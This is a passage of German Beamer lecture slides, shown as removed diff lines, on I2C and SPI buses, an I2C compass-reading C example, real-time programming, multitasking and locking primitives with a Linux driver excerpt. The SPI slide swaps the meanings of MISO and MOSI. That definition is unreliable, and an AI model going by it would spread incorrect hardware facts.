-      \newterm{SCL\/}: Taktleitung (Clock)
-    \item
-      \newterm{GND\/}: gemeinsame Masse
-    \item
-      evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät
-  \end{itemize}
-
-  \medskip
-
-  synchron
-  \begin{itemize}
-    \item
-      Abgleich über\\Taktleitung
-      \begin{picture}(0,0)
-        \put(0.4,-0.4){\includegraphics[width=9.7cm]{I2C_data_transfer.pdf}}
-      \end{picture}
-  \end{itemize}
-
-  \medskip
-
-  busfähig
-  \begin{itemize}
-    \item
-      \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung
-    \item
-      erstes gesendetes Byte: \newterm{Adresse\/} des Teilnehmers
-    \item
-      2 Adressen pro Teilnehmer: Lesen/Schreiben
-  \end{itemize}
-  \vspace*{-1cm}
-\end{frame}
-
-\subsection{SPI}
-
-\begin{frame}
-  \showsection
-  \showsubsection
-
-  Serial Peripheral Interface
-
-  \medskip
-
-  seriell
-  \begin{itemize}
-    \item
-      \newterm{MISO\/}: Master Out, Slave In
-    \item
-      \newterm{MOSI\/}: Master In, Slave Out
-    \item
-      \newterm{SCLK\/}: Taktleitung (Clock)
-    \item
-      \newterm{$\overline{\text{SS}}$\/}: Slave Select (invertiert)
-    \item
-      \newterm{GND\/}: gemeinsame Masse
-    \item
-      evtl.\ \newterm{VCC\/}: Stromversorgung für Peripheriegerät
-  \end{itemize}
-
-  \medskip
-
-  synchron
-  \begin{itemize}
-    \item
-      Abgleich über Taktleitung
-  \end{itemize}
-
-  \medskip
-
-  busfähig
-  \begin{itemize}
-    \item
-      \newterm{Master\/} initiiert Kommuniation und steuert Taktleitung
-    \item
-      \newterm{Slave\/} wird über \newterm{Slave Select\/} ausgewählt
-      \begin{picture}(0,0)
-        \only<1>{\put(-2.175,2.875){\includegraphics[scale=0.7]{SPI_single_slave.pdf}}}
-        \only<2>{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves.pdf}}}
-        \only<2>{\put(2.55,3.1){\begin{minipage}[t]{2.5cm}
-                                  \newterm{Stern}
-                                \end{minipage}}}
-        \only<3->{\put(-2.0,3.0){\includegraphics[scale=0.7]{SPI_three_slaves_daisy_chained.pdf}}}
-        \only<3->{\put(2.55,3.1){\begin{minipage}[t]{2.5cm}
-                                   \newterm{Kaskade}\\
-                                   \newterm{Daisy Chain}\pause[4]\par\smallskip
-                                   \setlength{\leftskip}{-3.5cm}\small
-                                   Slave gibt MOSI-Input um 1 Takt verzögert
-                                   an MISO aus \textarrow\ Master setzt
-                                   "`im richtigen Moment"' $\overline{\text{SS}}$
-                                 \end{minipage}}}
-      \end{picture}
-  \end{itemize}
-  \vspace*{-1cm}
-  
-\end{frame}
-
-
-\subsection{Beispiel: Benutzung des \protect\ItwoC-Busses}
-
-\begin{frame}[fragile]
-
-  \showsection
-  \showsubsection
-
-  \begin{picture}(0,0)
-    \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}}
-  \end{picture}%
- 
-  \begin{onlyenv}<1>
-    \begin{lstlisting}[gobble=6]
-      void read_compass (uint16_t *x, uint16_t *y)
-      {
-        I2CTWI_transmit2Bytes (0x60, 0x00, 0x02);  // set coil
-        mSleep (1);
-        I2CTWI_transmit2Bytes (0x60, 0x00, 0x04);  // reset coil
-        mSleep (5);
-        uint8_t result[5];
-        I2CTWI_transmit2Bytes (0x60, 0x00, 0x01);  // Messung starten
-        mSleep (5);                                // 5ms warten, bis Sensor fertig gemessen hat
-        I2CTWI_transmitByte (0x60, 0x01);          // Leseindex setzen
-        I2CTWI_readBytes (0x61, result, 4);        // lesen: msb x, lsb x, msb y, lsb y
-        result[0] &= 0b00001111;                   // Unwichtge Bits vom msb abschneiden
-        result[2] &= 0b00001111;
-        *x = (result[0] << 8) + result[1];         // Wert berechnen aus msb und lsb
-        *y = (result[2] << 8) + result[3];
-      }
-    \end{lstlisting}
-  \end{onlyenv}
-  \begin{onlyenv}<2-3>
-    \begin{lstlisting}[gobble=6,style=shy]
-      ²void read_compass (uint16_t *x, uint16_t *y)
-      { ... }
-
-      int main (void)
-      {
-        uint16_t compass_x, compass_y;
-        read_compass (&compass_x, &compass_y);¿
-        ³writeInteger (compass_x, DEC);
-        writeChar (' ');
-        writeInteger (compass_y, DEC);
-        writeChar ('\n');¿
-        ²return 0;
-      }¿
-    \end{lstlisting}
-  \end{onlyenv}
-  \begin{onlyenv}<4->
-    \begin{lstlisting}[gobble=6,style=shy]
-      °void read_compass (uint16_t *x, uint16_t *y)
-      {
-        I2CTWI_transmit2Bytes (0x60, 0x00, 0x02);  // set coil
-        ¿mSleep (1);
-        I2CTWI_transmit2Bytes (0x60, 0x00, 0x04);  // reset coil
-        mSleep (5);
-        uint8_t result[5];
-        I2CTWI_transmit2Bytes (0x60, 0x00, 0x01);  // Messung starten
-        mSleep (5);                                // 5ms warten, bis Sensor fertig gemessen hat
-        I2CTWI_transmitByte (0x60, 0x01);          // Leseindex setzen
-        I2CTWI_readBytes (0x61, result, 4);        // lesen: msb x, lsb x, msb y, lsb y
-        result[0] &= 0b00001111;                   // Unwichtge Bits vom msb abschneiden
-        result[2] &= 0b00001111;
-        *x = (result[0] << 8) + result[1];         // Wert berechnen aus msb und lsb
-        *y = (result[2] << 8) + result[3];
-      °}¿
-    \end{lstlisting}
-  \end{onlyenv}
-  \begin{onlyenv}<5-7>
-    \begin{picture}(0,0)
-      \color{red}
-      \put(3.85,5.3){\vector(1,1){0.5}}
-      \put(3.5,5.2){\makebox(0,0)[t]{\shortstack{Gerät adressieren:\\Schreib-Adresse}}}
-    \end{picture}
-  \end{onlyenv}
-  \begin{onlyenv}<6-7>
-    \begin{picture}(0,0)
-      \color{red}
-      \put(5.25,4.5){\vector(0,1){1.3}}
-      \put(5.25,4.4){\makebox(0,0)[t]{\shortstack{Register-Nr.\\innerhalb des Geräts}}}
-    \end{picture}
-  \end{onlyenv}
-  \begin{onlyenv}<7>
-    \begin{picture}(0,0)
-      \color{red}
-      \put(6.6,5.3){\vector(-1,1){0.5}}
-      \put(6.95,5.2){\makebox(0,0)[t]{Befehl: Spule an}}
-    \end{picture}
-  \end{onlyenv}
-  \vspace*{-2cm}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsection
-  \showsubsection
-
-  \begin{picture}(0,0)
-    \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}}
-  \end{picture}%
- 
-  \begin{lstlisting}[style=shy]
-    ¡void read_compass (uint16_t *x, uint16_t *y)
-    {
-      I2CTWI_transmit2Bytes (0x60, 0x00, 0x02);  // set coil
-      mSleep (1);
-      I2CTWI_transmit2Bytes (0x60, 0x00, 0x04);  // reset coil
-      mSleep (5);
-      ¿²uint8_t result[5];
-      I2CTWI_transmit2Bytes (0x60, 0x00, 0x01);  // Messung starten
-      mSleep (5);                                // 5ms warten, bis Sensor fertig gemessen hat
-      ¿³I2CTWI_transmitByte (0x60, 0x01);          // Leseindex setzen
-      ¿°I2CTWI_readBytes (0x61, result, 4);        // lesen: msb x, lsb x, msb y, lsb y
-      result[0] &= 0b00001111;                   // Unwichtge Bits vom msb abschneiden
-      result[2] &= 0b00001111;
-      *x = (result[0] << 8) + result[1];         // Wert berechnen aus msb und lsb
-      *y = (result[2] << 8) + result[3];
-    ¿¡}¿
-  \end{lstlisting}
-  \vspace*{-2cm}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsection
-  \showsubsection
-
-  \begin{picture}(0,0)
-    \put(8.75,-0.75){\includegraphics[height=2.75cm]{kompassmodul.jpg}}
-  \end{picture}%
-  Messung:\\
-  Roboter im Kreis drehen lassen,\\
-  x- und y-Werte aufzeichnen\\
-  und gegeneinander auftragen
- 
-  \smallskip
-  Ergebnis: Ellipse
-  \begin{picture}(0,0)(0,0.5)
-    \put(5,-3){\includegraphics[height=4cm]{kompass-messung.png}}
-  \end{picture}%
-
-  \bigskip
-  Anwendung:\\
-  Roboter in eine Himmelsrichtung ausrichten
-  \begin{itemize}
-    \item
-      Achsen normieren:\\
-      Mittelwert subtrahieren
-      \begin{picture}(0,0)(0,0.5)
-        \put(3.75,0.95){\vector(1,0){4}}
-        \put(7.55,0.90){\makebox(0,0)[t]{x}}
-        \put(5.75,-1.05){\vector(0,1){4}}
-        \put(5.75,2.95){\makebox(0,0)[r]{y}}
-      \end{picture}%
-    \item
-      Nulldurchgang einer Achse\\
-      markiert eine Himmelsrichtung
-    \item
-      Vorzeichen der anderen Achse\\
-      sagt aus, welche Himmelsrichtung
-  \end{itemize}
-  \vspace{-0.5cm}
-  \begin{flushright}
-    Beispiel: nach Norden ausrichten\\
-    Grob drehen, bis $y$ positiv ist,
-    fein drehen, bis $x = 0$ ist
-  \end{flushright}
-%  $x = 0$, $y$ positiv: Norden\\
-%  $x = 0$, $y$ negativ: Süden
-%  $y = 0$, $x < 0$: Westen
-%  $y = 0$, $x > 0$: Osten
-  \vspace*{-2cm}
-
-\end{frame}
-
-\nosectionnonumber{\inserttitle}
-
-\begin{frame}
-
-  \shownosectionnonumber
-
-  \begin{itemize}
-    \item[\textbf{1}] \textbf{Was sind eingebettete Systeme?}
-    \item[\textbf{2}] \textbf{Einführung in Unix}
-    \item[\textbf{3}] \textbf{Arrays und Pointer für Fortgeschrittene}
-    \item[\textbf{4}] \textbf{TCP/IP-Netzwerke in der Praxis}
-    \item[\textbf{5}] \textbf{Bus-Systeme}
-      \begin{itemize}
-        \color{medgreen}
-        \item[5.1] Was sind Bus-Systeme?
-        \item[5.2] RS-232
-        \item[5.3] \ItwoC\ (TWI)
-        \item[5.4] SPI
-        \item[5.5] Beispiel: Benutzung des \ItwoC-Busses
-      \end{itemize}
-    \item[\textbf{6}] \textbf{Echtzeit}
-      \begin{itemize}
-        \color{red}
-        \item[5.1] Was ist Echtzeit?
-        \item[5.2] Echtzeitprogrammierung
-        \item[5.3] Multitasking
-        \item[5.4] Ressourcen
-        \item[5.5] Prioritäten
-      \end{itemize}
-  \end{itemize}
-
-\end{frame}
-
-\section{Echtzeit}
-
-\subsection{Was ist Echtzeit?}
-
-\begin{frame}
-  
-  \showsection
-  \showsubsection
-
-  \begin{itemize}
-    \pause
-    \item
-      Animation in Echtzeit:\\
-      schnelle Berechnung anstatt Wiedergabe einer Aufzeichnung
-    \pause
-    \medskip
-    \item
-      Fantasy-Rollenspiel in Echtzeit:\\
-      Der Zeitverlauf der Spielwelt entspricht dem der realen Welt.
-    \pause
-    \medskip
-    \item
-      Datenverarbeitung in Echtzeit:\\
-      Die Daten werden so schnell verarbeitet, wie sie anfallen.
-    \pause
-    \medskip
-    \item
-      speziell: Echtzeit-Steuerung von Maschinen:\\
-      Die Berechnung kann mit den physikalischen Vorgängen schritthalten.
-    \pause
-    \bigskip
-    \arrowitem
-      "`Schnell genug."'
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsubsection
-
-  "`Schnell genug."' \pause-- "`Und wenn nicht?"'
-
-  \pause
-
-  \begin{itemize}
-    \item
-      "`Ganz schlecht."' \pause\textarrow\ \newterm{harte Echtzeit}
-      \begin{onlyenv}<4-8>
-        \begin{picture}(0,0)(0,-0.3)
-          \pause
-          \put(0,-4){\makebox(0,0)[br]{\includegraphics[height=3.5cm]{a380.jpg}}}
-          % http://de.wikipedia.org/w/index.php?title=Datei:Airbus_A380_overfly.jpg&filetimestamp=20111223141606
-          \pause
-          \put(0.2,-3.9){\makebox(0,0)[bl]{\includegraphics[height=4.0cm]{quadrocopter.jpg}}}
-          %\put(0.2,-3.5){\makebox(0,0)[bl]{\includegraphics[height=3.5cm]{mercedes-benz-w116.jpg}}}
-          % http://commons.wikimedia.org/wiki/File:1973-1980_Mercedes-Benz_450_SEL_%28W116%29_sedan_%282010-12-28%29_01.jpg
-          \pause
-          \put(-0.5,-4.2){\makebox(0,0)[tr]{\includegraphics[height=3.5cm]{herzschrittmacher.jpg}}}
-          % http://de.wikipedia.org/w/index.php?title=Datei:Pacemaker_GuidantMeridianSR.jpg&filetimestamp=20051203173642
-          \pause
-          \put(0,-4){\makebox(0,0)[tl]{\includegraphics[height=3.5cm]{curiosity.jpg}}}
-          % http://mars.jpl.nasa.gov/msl/news/whatsnew/index.cfm?FuseAction=ShowNews&NewsID=1344
-        \end{picture}
-      \end{onlyenv}
-    \pause\\[2pt]
-    rechtzeitiges Ergebnis funktionsentscheidend
-
-    \smallskip
-
-    \pause
-    \item
-      "`Unschön."' \textarrow\ \newterm{weiche Echtzeit}
-      \begin{onlyenv}<10-12>
-        \begin{picture}(0,0)(0,0.3)
-          \pause
-          \put(0,-4){\makebox(0,0)[br]{\includegraphics[width=5cm]{Retribution_Engine_Screenshot_120807.jpg}}}
-          % http://en.wikipedia.org/wiki/File:Retribution_Engine_Screenshot_120807.jpg
-          \pause
-          \put(0.1,-4.5){\makebox(0,0)[bl]{\includegraphics[width=5cm]{Telefon_t-sinus-700.jpg}}}
-          % http://de.wikipedia.org/w/index.php?title=Datei:Telefon_t-sinus-700.jpg&filetimestamp=20050807203655
-        \end{picture}
-      \end{onlyenv}
-      \pause\\[2pt]
-      verspätetes Ergebnis qualitätsmindernd
-      \begin{itemize}
-        \baselineskip14pt\par
-        \item
-          verwenden und Verzögerung in Kauf nehmen
-        \item
-          verwerfen und Ausfall in Kauf nehmen
-      \end{itemize}
-
-    \smallskip
-
-    \pause
-    \item
-      "`Es gibt keinen festen Termin. Möglichst schnell halt."'\pause\\[2pt]
-      \textarrow\ \newterm{keine Echtzeit}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsubsection
-
-  Das Problem:
-  \vspace{-\bigskipamount}
-  \begin{center}
-    \begin{picture}(6,2)
-      \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-      \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-%      \put(2.75,0.875){\vector(1,3){0.25}}
-%      \put(2.75,0.875){\line(2,1){0.5}}
-%      \put(3.25,1.125){\vector(-1,-3){0.25}}
-      \put(2.70,0.350){\tikz{\draw[latex-latex](0.25,0.625)--(0,-0.12)--(0.5,0.12)--(0.25,-0.625);}}
-    \end{picture}
-%    \begin{pdfpic}
-%      \begin{pspicture}(6,2)
-%        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-%        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-%        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-%      \end{pspicture}
-%    \end{pdfpic}
-  \end{center}
-
-  \pause
-
-  Beispiel:
-  \begin{itemize}
-    \item
-      Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\
-      dessen Berechnung maximal \SI{10}{\mics} dauert.
-    \pause[3]
-    \item
-      Entweder: Der Steuer-Computer macht noch andere Dinge.\\
-      \textarrow\ Risiko der Zeitüberschreitung
-    \pause
-    \item
-      Oder: Der Steuer-Computer macht nichts anderes.\\
-      \textarrow\ Verschwendung von Rechenzeit\\
-      \pause
-      {\color{red}\textarrow\ Na und?}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsubsection
-
-  Das Problem:
-  \vspace{-\bigskipamount}
-  \begin{center}
-    \begin{picture}(6,2)
-      \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-      \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-%      \put(2.75,0.875){\vector(1,3){0.25}}
-%      \put(2.75,0.875){\line(2,1){0.5}}
-%      \put(3.25,1.125){\vector(-1,-3){0.25}}
-      \put(2.70,0.350){\tikz{\draw[latex-latex](0.25,0.625)--(0,-0.12)--(0.5,0.12)--(0.25,-0.625);}}
-    \end{picture}
-%    \begin{pdfpic}
-%      \begin{pspicture}(6,2)
-%        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-%        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-%        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-%      \end{pspicture}
-%    \end{pdfpic}
-  \end{center}
-
-  \medskip
-
-  {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}}
-
-  \medskip
-
-  \pause
-  Große Stückzahlen
-  \begin{itemize}
-    \item
-      138\,000 Toyota Prius V von Mai 2011 bis April 2012
-  \end{itemize}
-
-  \medskip
-
-  \pause
-  Wertvolle Ressourcen
-  \begin{itemize}
-    \item
-      Fähigkeiten einer Raumsonde optimieren
-      % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg)
-      % 70000000 / 550000 = 127._27
-      % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/
-      \only<.(1)>{\\[\medskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.3cm]{curiosity.jpg}}\vspace*{-1cm}}
-    \pause
-    \item
-      Implantat: Platz- und Stromverbrauch minimieren
-      \only<.(1)>{\\\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}}
-  \end{itemize}
-
-  \bigskip
-
-  \pause
-  \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt]
-  \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
-
-\end{frame}
-
-\subsection{Echtzeitprogrammierung}
-
-\begin{frame}
-
-  \showsubsection
-
-  Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
-
-  \bigskip
-
-  \alt<.(1)>{Aber wie?}{Beispiele für Lösungen:}
-
-  \begin{itemize}
-    \pause
-    \item
-      ZigBee-Modul:\only<.(1)>{\hfill\makebox(0,0)[tr]{\includegraphics[width=5cm]{xbee.jpg}}}\\
-      % http://commons.wikimedia.org/wiki/File:Arduino_xbee.JPG
-      Funk- vs.\ UART-Protokoll\\
-      \textarrow\ dedizierte Hardware
-    \pause
-    \item
-      RP6:\\
-      Motorsteuerung vs.\ Anwender-Software\\
-      \textarrow\ spezielle Software
-      \only<.(1)>{\hfill\makebox(0,0)[r]{\includegraphics[width=5cm]{rp6.jpg}}}
-    \pause
-    \item
-      Quadrocopter:\\
-      Motorsteuerung vs.\ Sensoren-Abfrage\\
-      vs.\ Funk-Fernsteuerung \dots\\
-      \textarrow\ spezielle Software
-      \only<.(1)>{\hfill\makebox(0,0)[br]{\includegraphics[width=5cm]{quadrocopter.jpg}}}\\
-    \pause
-    \item
-      Flugzeugkabinensimulatortür:\\
-      Türsteuerung vs.\ Bedienung\\
-      \textarrow\ Echtzeitbetriebssystem
-      \only<.(1)>{\\[-3.2cm]\strut\hfill\makebox(0,0)[r]{\includegraphics[angle=-90,width=5cm]{dsc_8208.jpg}}}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsubsection
-
-  Quadrocopter-Steuerung \emph{MultiWii}
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
-      ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
-  \end{itemize}
-
-  \pause
-
-  RP6-Steuerung
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
-      Die Interrupt-Handler zählen Variable hoch.
-    \item
-      10000mal pro Sekunde: Timer-Interrupt\\
-      Durch Zähler im Interrupt-Handler: verschiedene Taktraten\\
-      1000mal pro Sekunde: Stopwatches\\
-      5mal pro Sekunde: Blinkende Power-On-LED\\
-      1000mal pro Sekunde: Bumper, ACS, PWM zur Motorsteuerung\\
-      Geschwindigkeitsmessung durch Zählen der Ticks in 0.2\,s\\
-      Anpassung der Motorkraft in $\pm$1-Schritten
-    \pause
-    \item
-      Nebenbei: \only<4->{1 }Benutzerprogramm
-  \end{itemize}
-
-\end{frame}
-
-\subsection{Multitasking}
-
-\begin{frame}
-
-  \showsubsection
-
-  \begin{itemize}
-    \item
-      \newterm{Kooperatives Multitasking}\\
-      Prozesse geben freiwillig Rechenzeit ab
-    \item
-      \newterm{Präemptives Multitasking}\\
-      Das Betriebssystem unterbricht laufende Prozesse\\
-      (englisch: \emph{to pre-empt\/} -- jemandem zuvorkommen)
-    \bigskip
-    \item
-      \newterm{Scheduler}\\
-      Steuerprogramm, das Prozessen Rechenzeit zuteilt
-    \item
-      \newterm{Kontextwechsel}\\
-      Umschalten zwischen zwei Prozessen
-    \item
-      \newterm{Round-Robin-Verfahren (Rundlauf)}\\
-      Zuteilung von \newterm{Zeitschlitzen\/} auf einer \newterm{Zeitscheibe} an die Prozesse
-    \bigskip
-    \pause
-    \item
-      Ausblick: Zuteilung von Rechenzeit = wichtiger Spezialfall\\
-      allgemein: Zuteilung von Ressourcen
-  \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Beispiele für Multitasking}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-  Quadrocopter-Steuerung \emph{MultiWii}
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
-      ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
-  \end{itemize}
-
-  RP6-Steuerung
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
-      Die Interrupt-Handler zählen Variable hoch.
-    \item
-      10000mal pro Sekunde: Timer-Interrupt\\
-      verschiedene Tasks werden unterschiedlich häufig aufgerufen
-    \item
-      Nebenbei: 1 Benutzerprogramm
-  \end{itemize}
-
-  Linux 0.01
-  \begin{itemize}
-    \item
-      Timer-Interrupt:\only<2->{ Zähler des aktuellen Tasks wird dekrementiert;}\\
-      Task mit höchstem Zähler bekommt Rechenzeit.
-    \item
-      Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\
-      bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen.
-    \item
-      \emph{keine\/} harte Echtzeit
-      % Aufgabe: Wo wird der Zähler heruntergezählt?
-  \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Zombies}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-  \pause
-  Wikipedia:
-  \begin{quote}
-    Als Zombie wird die fiktive Figur eines zum Leben erweckten
-    Toten (Untoter) oder eines seiner Seele beraubten, willenlosen
-    Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe
-    aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet
-    dort ursprünglich einen Totengeist.
-  \end{quote}
-
-  \bigskip
-
-  \pause
-  Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\
-  bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\
-  hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\
-  wird aber noch in der Prozeßliste geführt ("`untot"').
-  \begin{itemize}
-    \pause
-    \item
-      Warum?
-      \textarrow\
-      Ein anderer Prozeß (Elternprozeß) wartet noch auf den
-      Rückgabewert des beendeten Prozesses.
-    \pause
-    \item
-      Schadet das?
-      \textarrow\
-      Nein.
-    \pause
-    \item
-      Aber?
-      \textarrow\
-      Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen
-      Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'.
-    \pause
-    \item
-      Beispiel:
-      Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\
-      \textarrow\
-      Tochterprozesse werden zu Zombies.
-  \end{itemize}
-
-\end{frame}
-
-\subsectionnonumber{Multitasking}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{minipage}[t]{6cm}
-    Qualitätssicherung beim Multitasking
-    \begin{itemize}
-      \item<3->
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\
-        vs.\ \newterm{Durchsatz}
-        \smallskip
-        \begin{onlyenv}<4>
-          \begin{itemize}
-            \item
-              \newterm{Latenz:} interaktive Anwendungen
-            \item
-              \newterm{Jitter:} Echtzeitanwendungen
-            \item
-              \newterm{Durchsatz:} Stapelverarbeitung
-          \end{itemize}
-          \vspace*{-3cm}
-        \end{onlyenv}
-      \item<5->
-        Ressourcen reservieren:\\
-        \newterm{Mutexe}
-        \only<6->{(= spezielle \newterm{Semaphore\/})\\}
-        \only<7->{\textarrow\ kommt gleich}
-      \item<8->
-        Verschiedene Methoden\\
-        der Priorisierung\\
-        \textarrow\ später\\
-        \strut
-      \item<9->
-        Umgehung der Probleme durch
-        speziell geschriebene Software\\
-        (MultiWii, RP6, \dots)
-    \end{itemize}
-  \end{minipage}
-  \hfill
-  \pause
-  \begin{minipage}[t]{6.2cm}
-    Qualitätssicherung für Netzwerke:
-    \begin{itemize}
-      \item
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz}
-      \item
-        Ressourcen reservieren:\\
-        \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)}
-      \item
-        Klassifizierung und Priorisierung:
-        \newterm{DiffServ} mit Type-of-Service-Bits (IPv4)
-        bzw.\ Traffic-Class-Bits (IPv6) im IP-Header
-      \item
-        Eigenes Protokoll (Telefondienste):\\
-        \newterm{Asynchronous Transfer Mode (ATM)}
-    \end{itemize}
-  \end{minipage}
-
-\end{frame}
-
-\subsection{Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-      \begin{onlyenv}<1>
-        \par\medskip
-        griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\
-        "`Eisenbahnsignal"'
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-      \begin{onlyenv}<2>
-        \par\medskip
-        englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\
-        spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\
-        % allgemein: auch jemand anderer dürfte freigeben
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-      \begin{onlyenv}<3>
-        \par\medskip
-        englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\
-        \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount]
-        Hardware-Unterstützung:
-        Prüfen, ob Variable bestimmten Wert hat;\\
-        wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-  \end{itemize}
-  \vspace*{-1cm}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren --
-  Beispiel: \file{linux-3.7rc1}
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      \file{kernel/semaphor.c}\\
-      \file{drivers/usb/core/file.c}
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      \file{kernel/mutex.c}\\
-      \file{drivers/usb/serial/usb-serial.c}
-    \medskip
-    \item
-      \newterm{Spinlock}\\
-      \file{kernel/spinlock.c}\\
-      \file{kernel/semaphor.c},
-      \file{kernel/mutex.c}
-  \end{itemize}
-
-  % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
-  % evtl. Aufgabe: Warte-Problem
-
-  % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
-  % das o.a. Zuteilungsproblem?
-
-  % Danach: Semaphoren, Mutexe, Spinlocks
-  % Priorisierungsmethoden und -probleme
-
-  % Festplatten: completely fair queueing
-  % cat /sys/block/sdc/queue/scheduler
-  % "noop" hat sich für SVG gelohnt
-
-  % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \textbf{Beispiel:}
-  \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    struct usb_serial *usb_serial_get_by_index (unsigned index)
-    {
-      struct usb_serial *serial;
-      mutex_lock (&table_lock);
-      serial = serial_table[index];
-      if (serial)
-        {
-          mutex_lock (&serial->disc_mutex);
-          if (serial->disconnected)
-            {
-              mutex_unlock (&serial->disc_mutex);
-              serial = NULL;
-            }
-          else
-            kref_get (&serial->kref);
-        }
-      mutex_unlock (&table_lock);
-      return serial;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(5.1,6.85){\vector(-1,0){0.5}}
-    \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}}
-    \put(5.4,1.35){\vector(-1,0){0.5}}
